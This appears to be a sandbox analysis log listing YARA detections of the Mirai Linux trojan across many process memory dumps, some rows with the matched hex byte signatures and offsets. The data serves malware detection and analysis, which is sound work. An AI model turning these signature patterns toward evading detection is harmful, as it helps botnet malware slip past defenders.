6564.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6564.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6920.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6920.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6920.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6920.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6920.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6920.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7146.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6683.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6683.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6683.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6683.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6683.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6683.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6794.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6794.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6794.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6794.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6794.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6794.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7386.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7048.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7048.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7048.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7048.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7048.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7048.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6447.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6447.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6447.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6447.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6447.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6447.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7197.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7197.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7197.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7197.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7197.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7197.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6695.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6695.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6695.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6695.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6695.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6695.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6908.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6622.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6330.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6330.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6330.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6330.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6330.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6330.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7051.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7051.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7051.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7051.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7051.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7051.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7358.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7358.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7358.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7358.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7358.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7358.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6893.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6893.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6893.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6893.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6893.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6893.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6370.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6370.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6370.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6487.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6487.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6487.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6487.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6487.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6487.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6370.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6370.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6370.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6508.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6508.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6508.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6508.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6508.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6508.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6647.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6647.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6647.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6647.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6647.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6647.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7185.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7185.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7185.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7185.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7185.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7185.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6601.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6601.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6601.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6601.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6601.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6601.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6542.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6542.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6542.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6542.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6542.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6542.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6318.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6318.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6318.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6318.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6318.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6318.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6445.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6445.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6445.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6445.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6445.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6445.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7287.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7287.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7287.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7287.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7287.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7287.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7391.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7391.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7391.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7391.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7391.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7391.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6324.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6324.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6324.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6324.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6324.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6324.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7219.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7219.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7219.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7219.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7219.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7219.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6640.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6640.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6640.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6640.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6640.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6640.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6841.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6841.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6841.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6841.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6841.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6841.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6401.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6401.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6401.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6401.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6401.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6401.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7147.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7147.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
